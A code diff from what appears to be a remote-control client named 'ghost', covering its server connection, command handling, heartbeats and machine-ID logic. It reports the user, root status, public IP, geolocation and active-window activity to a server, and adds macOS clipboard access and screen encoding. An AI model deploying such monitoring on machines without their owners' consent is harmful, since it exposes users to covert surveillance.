Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** FileManagerThread exception: %s ***\n", e.what());
}
RunSubConnThread<FileManager>(
"FileManagerThread",
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
[](IOCPClient* c, FileManager*) {
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c);
});
return NULL;
}
@@ -609,6 +365,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身。详见
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
@@ -630,18 +392,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
// 心跳节奏太密日志会刷屏;最多 60s 一行
static time_t lastAckLog = 0;
time_t now_s = time(nullptr);
if (now_s - lastAckLog >= 60) {
lastAckLog = now_s;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
MasterSettings settings;
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
}
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
@@ -672,6 +439,26 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
LinuxConfig cfg;
cfg.SetStr("group_name", groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
@@ -841,6 +628,49 @@ std::string getUsername()
return u ? u : "?";
}
// 读取 systemd / dbus 维护的 machine-id与 Windows MachineGuid 等价)
// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
// 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署
// 工具 (cloud-init / kickstart) 会重置它。
static std::string getMachineId()
{
// 优先 /etc/machine-id某些精简系统可能放在 /var/lib/dbus/machine-id
const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
for (const char* p : paths) {
std::ifstream f(p);
if (!f.is_open()) continue;
std::string id;
std::getline(f, id);
// 去掉尾部空白和换行
while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
id.back() == ' ' || id.back() == '\t')) {
id.pop_back();
}
if (!id.empty()) return id;
}
return std::string();
}
// 路径归一化Linux 版):解析符号链接 + 转小写
// realpath 等价于 Windows 的 GetLongPathName把 /usr/local/bin/../foo 这种
// 折回到规范形式;小写化避免大小写差异引起 ID 不同Linux 文件系统本身大小写
// 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。
static std::string normalizeExePathLower(const std::string& path)
{
char resolved[PATH_MAX] = {};
std::string out;
if (realpath(path.c_str(), resolved) != nullptr) {
out = resolved;
} else {
out = path; // 解析失败(罕见):用原值
}
for (auto& c : out) {
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
}
return out;
}
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高"
std::string getScreenResolution()
{
@@ -874,87 +704,14 @@ std::string getScreenResolution()
return "0:0*0";
}
// 执行命令并返回输出
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// 去除尾部空白
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET 请求(优先 curl备选 wget
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
// 优先使用 curl
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
if (!r.empty()) return r;
// 备选 wgetUbuntu 默认自带)
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
return r;
}
// 获取公网 IP轮询多个查询源与 Windows 端一致)
std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// 简单校验:非空且看起来像 IP含有点号长度合理
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
return ip;
}
}
Mprintf("getPublicIP: all sources failed\n");
return "";
}
// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp
// 支持格式: "key": "value" 或 "key":"value"
static std::string jsonExtract(const std::string& json, const std::string& key)
{
std::string needle = "\"" + key + "\"";
size_t pos = json.find(needle);
if (pos == std::string::npos) return "";
pos = json.find(':', pos + needle.size());
if (pos == std::string::npos) return "";
pos = json.find('"', pos + 1);
if (pos == std::string::npos) return "";
size_t end = json.find('"', pos + 1);
if (end == std::string::npos) return "";
return json.substr(pos + 1, end - pos - 1);
}
// 获取 IP 地理位置(通过 ipinfo.io与 Windows 端一致)
std::string getGeoLocation(const std::string& ip)
{
if (ip.empty()) return "";
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
if (json.empty()) return "";
std::string country = jsonExtract(json, "country");
std::string city = jsonExtract(json, "city");
if (city.empty() && country.empty()) return "";
if (city.empty()) return country;
if (country.empty()) return city;
return city + ", " + country;
}
// execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到
// common/posix_net_helpers.hnamespace PosixNet。下面保留同名 wrapper避免
// 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); }
inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); }
// ============== 守护进程 ==============
@@ -1077,8 +834,23 @@ int main(int argc, char* argv[])
LOGIN_INFOR logInfo;
// 主机名
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
// 读取分组名称(从配置文件或 g_SETTINGS
LinuxConfig cfgGroup;
std::string groupName = cfgGroup.GetStr("group_name");
if (!groupName.empty()) {
// 更新 g_SETTINGS
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
groupName = g_SETTINGS.szGroupName;
}
// 主机名带分组hostname/groupname
if (!groupName.empty()) {
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
} else {
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
// 操作系统版本(如 "Ubuntu 24.04 LTS"
@@ -1146,22 +918,38 @@ int main(int argc, char* argv[])
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
// 计算客户端 ID与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
// 格式: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
distro + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
Mprintf("Calculated clientID: %llu (from: %s)\n", g_myClientID, idInput.c_str());
// V2 ID 算法machine-id + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/hostname/distro/CPU 漂移)
// - 局域网多机即便同镜像cloud-init/kickstart 会让 machine-id 各不同
// - machine-id 读取失败时退化到老算法pubIP|hostname|distro|cpu|path保兼容
std::string machineId = getMachineId();
if (!machineId.empty()) {
std::string normPath = normalizeExePathLower(exePath);
std::string idInput = machineId + "|" + normPath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
g_myClientID, machineId.c_str(), normPath.c_str());
} else {
// 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
// 格式: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
distro + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
}
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
logInfo.AddReserved((int)getpid()); // [17] RES_PID
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
// 服务端签名输入:与服务端 AddList 处签名格式一致startTime + "|" + clientID
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
ActivityChecker activityChecker;
@@ -1174,10 +962,27 @@ int main(int argc, char* argv[])
continue;
}
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 检查是否需要重发登录信息(分组变更后)
if (g_needResendLogin.exchange(false)) {
// 更新 szPCNamehostname/groupname 格式)
std::string grp = g_SETTINGS.szGroupName;
if (!grp.empty()) {
std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
} else {
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
}
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
@@ -1188,8 +993,19 @@ int main(int argc, char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
if (ClientAuth::IsTimedOut()) {
ClientObject->Disconnect(); // 关闭 socket防止重连时 fd 泄漏
break;
}
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = utf8ToGbk(activityChecker.Check());
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
// MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经
// libsign 网关只能连新版服务端,无需再转。
std::string activity = activityChecker.Check();
Heartbeat hb;
hb.Time = GetUnixMs();
@@ -1200,8 +1016,14 @@ int main(int argc, char* argv[])
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
hb.Ping, interval, activity.c_str());
// 心跳节奏太密日志会刷屏;最多 60s 一行
static time_t lastSendLog = 0;
time_t now_s = time(nullptr);
if (now_s - lastSendLog >= 60) {
lastSendLog = now_s;
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
hb.Ping, interval, activity.c_str());
}
}
}

83
macos/CMakeLists.txt Normal file
View File

@@ -0,0 +1,83 @@
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# macOS deployment target
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
# Universal Binary (Intel + Apple Silicon)
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
include_directories(../)
include_directories(../client)
include_directories(../compress)
# Source files
set(SOURCES
main.mm
../client/Buffer.cpp
../client/IOCPClient.cpp
../client/sign_shim_unix.cpp
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
H264Encoder.mm
)
# Create executable
add_executable(ghost ${SOURCES})
# Include directories
target_include_directories(ghost PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}
)
# Find and link macOS frameworks
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
find_library(ACCELERATE_FRAMEWORK Accelerate REQUIRED)
find_library(ICONV_LIBRARY iconv REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
${VIDEOTOOLBOX_FRAMEWORK}
${COREMEDIA_FRAMEWORK}
${COREVIDEO_FRAMEWORK}
${ACCELERATE_FRAMEWORK}
${ICONV_LIBRARY}
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
# 私有签名库(提供 signMessage / verifyMessage源码不开源
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
# libsign.a 内部使用 macOS CommonCryptoHMAC-SHA256CCHmac 在 libSystem
# 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework
"${CMAKE_SOURCE_DIR}/lib/libsign.a"
)
# Compiler flags
target_compile_options(ghost PRIVATE
-Wall
-Wextra
-fobjc-arc
)
# Output directory
set_target_properties(ghost PROPERTIES
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
)

186
macos/ClipboardHandler.h Normal file
View File

@@ -0,0 +1,186 @@
#pragma once
#import <Cocoa/Cocoa.h>
#include <string>
#include <vector>
// macOS 剪贴板操作封装
// 使用 NSPasteboard API 实现
class ClipboardHandler
{
public:
// 检查剪贴板功能是否可用 (macOS 总是可用)
static bool IsAvailable()
{
return true;
}
// 获取剪贴板中的文件列表
// 返回文件的完整路径列表UTF-8失败返回空列表
static std::vector<std::string> GetFiles()
{
std::vector<std::string> files;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
// 方法1: 尝试获取文件 URL 列表 (macOS 10.13+)
NSArray<NSURL*>* urls = [pasteboard readObjectsForClasses:@[[NSURL class]]
options:@{NSPasteboardURLReadingFileURLsOnlyKey: @YES}];
if (urls && urls.count > 0) {
for (NSURL* url in urls) {
if (url.isFileURL) {
NSString* path = url.path;
if (path) {
files.push_back([path UTF8String]);
}
}
}
return files;
}
// 方法2: 兼容旧版 API (NSFilenamesPboardType)
NSArray* filenames = [pasteboard propertyListForType:NSFilenamesPboardType];
if (filenames && [filenames isKindOfClass:[NSArray class]]) {
for (NSString* path in filenames) {
if ([path isKindOfClass:[NSString class]]) {
files.push_back([path UTF8String]);
}
}
}
}
return files;
}
// 获取剪贴板文本
// 返回 UTF-8 编码的文本,失败返回空字符串
static std::string GetText()
{
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
NSString* text = [pasteboard stringForType:NSPasteboardTypeString];
if (text) {
return [text UTF8String];
}
}
return "";
}
// 设置剪贴板文本
// text: UTF-8 编码的文本
// 返回是否成功
static bool SetText(const std::string& text)
{
if (text.empty()) return true;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
[pasteboard clearContents];
NSString* nsText = [NSString stringWithUTF8String:text.c_str()];
if (nsText) {
return [pasteboard setString:nsText forType:NSPasteboardTypeString];
}
}
return false;
}
// 设置剪贴板文本(从原始字节)
// data: 文本数据(可能是 GBK 或 UTF-8
// len: 数据长度
static bool SetTextRaw(const char* data, size_t len)
{
if (!data || len == 0) return true;
// 服务端发来的文本可能是 GBK 编码,尝试转换为 UTF-8
std::string text = ConvertToUtf8(data, len);
return SetText(text);
}
// 设置剪贴板文件列表
// files: UTF-8 编码的文件路径列表
// 返回是否成功
static bool SetFiles(const std::vector<std::string>& files)
{
if (files.empty()) return true;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
[pasteboard clearContents];
NSMutableArray<NSURL*>* urls = [NSMutableArray arrayWithCapacity:files.size()];
for (const auto& path : files) {
NSString* nsPath = [NSString stringWithUTF8String:path.c_str()];
if (nsPath) {
NSURL* url = [NSURL fileURLWithPath:nsPath];
if (url) {
[urls addObject:url];
}
}
}
if (urls.count > 0) {
return [pasteboard writeObjects:urls];
}
}
return false;
}
private:
// 检查是否是有效的 UTF-8 序列
static bool IsValidUtf8(const char* data, size_t len)
{
const unsigned char* bytes = (const unsigned char*)data;
size_t i = 0;
while (i < len) {
if (bytes[i] <= 0x7F) {
// ASCII
i++;
} else if ((bytes[i] & 0xE0) == 0xC0) {
// 2-byte sequence
if (i + 1 >= len || (bytes[i + 1] & 0xC0) != 0x80) return false;
i += 2;
} else if ((bytes[i] & 0xF0) == 0xE0) {
// 3-byte sequence
if (i + 2 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80) return false;
i += 3;
} else if ((bytes[i] & 0xF8) == 0xF0) {
// 4-byte sequence
if (i + 3 >= len || (bytes[i + 1] & 0xC0) != 0x80 ||
(bytes[i + 2] & 0xC0) != 0x80 || (bytes[i + 3] & 0xC0) != 0x80) return false;
i += 4;
} else {
return false;
}
}
return true;
}
// 尝试将 GBK 转换为 UTF-8
// 如果已经是 UTF-8直接返回
static std::string ConvertToUtf8(const char* data, size_t len)
{
// 检查是否已经是有效的 UTF-8
if (IsValidUtf8(data, len)) {
return std::string(data, len);
}
// 使用 NSString 进行编码转换 (GBK = CFStringEncodingGB_18030_2000)
@autoreleasepool {
// 尝试 GBK (GB18030) 编码
NSStringEncoding gbkEncoding = CFStringConvertEncodingToNSStringEncoding(kCFStringEncodingGB_18030_2000);
NSString* str = [[NSString alloc] initWithBytes:data length:len encoding:gbkEncoding];
if (str) {
const char* utf8 = [str UTF8String];
if (utf8) {
return std::string(utf8);
}
}
}
// 转换失败,返回原始数据
return std::string(data, len);
}
};

86
macos/H264Encoder.h Normal file
View File

@@ -0,0 +1,86 @@
#pragma once
#include <cstdint>
#include <vector>
#include <mutex>
#include <atomic>
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
class H264Encoder {
public:
H264Encoder();
~H264Encoder();
// Initialize encoder
// @param width: frame width
// @param height: frame height
// @param fps: target frame rate
// @param bitrate: target bitrate in kbps (0 = auto)
bool open(int width, int height, int fps, int bitrate = 0);
// Close encoder and release resources
void close();
// Check if encoder is open
bool isOpen() const { return m_session != nullptr; }
// Encode a frame
// @param bgra: BGRA pixel data (bottom-up or top-down)
// @param bpp: bits per pixel (32 for BGRA)
// @param stride: bytes per row
// @param width: frame width
// @param height: frame height
// @param outData: pointer to receive encoded data pointer
// @param outSize: pointer to receive encoded data size
// @param flipVertical: true if image is bottom-up (BMP format)
// @return: encoded size, or 0 on failure
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical = true);
// Force next frame to be keyframe
void forceKeyframe() { m_forceKeyframe = true; }
// Get last error message
const char* getLastError() const { return m_lastError; }
private:
// VideoToolbox compression callback
static void compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer);
// Process encoded sample buffer
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
// Convert BGRA to I420 (YUV)
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical);
private:
VTCompressionSessionRef m_session;
int m_width;
int m_height;
int m_fps;
int m_bitrate;
// YUV buffers
std::vector<uint8_t> m_yPlane;
std::vector<uint8_t> m_uPlane;
std::vector<uint8_t> m_vPlane;
// Output buffer
std::vector<uint8_t> m_outputBuffer;
std::mutex m_outputMutex;
// State
std::atomic<bool> m_forceKeyframe;
int64_t m_frameCount;
char m_lastError[256];
};

521
macos/H264Encoder.mm Normal file
View File

@@ -0,0 +1,521 @@
#import "H264Encoder.h"
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
#import <CoreVideo/CoreVideo.h>
#import <Cocoa/Cocoa.h>
H264Encoder::H264Encoder()
: m_session(nullptr)
, m_width(0)
, m_height(0)
, m_fps(30)
, m_bitrate(0)
, m_forceKeyframe(false)
, m_frameCount(0)
{
m_lastError[0] = '\0';
}
H264Encoder::~H264Encoder()
{
close();
}
bool H264Encoder::open(int width, int height, int fps, int bitrate)
{
close();
// Width and height must be even for H264
m_width = width & ~1;
m_height = height & ~1;
m_fps = fps > 0 ? fps : 30;
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
// Allocate YUV buffers
int ySize = m_width * m_height;
int uvSize = (m_width / 2) * (m_height / 2);
m_yPlane.resize(ySize);
m_uPlane.resize(uvSize);
m_vPlane.resize(uvSize);
// Reserve output buffer
m_outputBuffer.reserve(m_width * m_height);
// Create compression session
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
// Prefer hardware encoder
CFDictionarySetValue(encoderSpec,
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
kCFBooleanTrue);
// Source image attributes
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
CFRelease(pixelFormatNum);
int32_t widthNum = m_width;
int32_t heightNum = m_height;
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
CFRelease(widthRef);
CFRelease(heightRef);
// Create compression session
OSStatus status = VTCompressionSessionCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCMVideoCodecType_H264,
encoderSpec,
sourceAttrs,
kCFAllocatorDefault,
compressionCallback,
this,
&m_session
);
CFRelease(encoderSpec);
CFRelease(sourceAttrs);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionCreate failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
return false;
}
// Configure session properties
// Real-time encoding
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
// Profile: Baseline for compatibility
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
kVTProfileLevel_H264_Baseline_AutoLevel);
// Allow frame reordering: false for low latency
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
CFRelease(keyframeRef);
// Expected frame rate
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
CFRelease(fpsRef);
// Average bitrate
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
CFRelease(bitrateRef);
// Data rate limits (for more consistent bitrate)
// [bytes per second, duration in seconds]
int64_t dataRateLimit = m_bitrate / 8;
double duration = 1.0;
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
CFTypeRef limits[2] = { bytesRef, durationRef };
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
CFRelease(bytesRef);
CFRelease(durationRef);
CFRelease(limitsArray);
// Prepare to encode
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
close();
return false;
}
m_frameCount = 0;
m_forceKeyframe = true; // First frame is always keyframe
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
m_width, m_height, m_fps, m_bitrate);
return true;
}
void H264Encoder::close()
{
if (m_session) {
VTCompressionSessionInvalidate(m_session);
CFRelease(m_session);
m_session = nullptr;
}
m_yPlane.clear();
m_uPlane.clear();
m_vPlane.clear();
m_outputBuffer.clear();
}
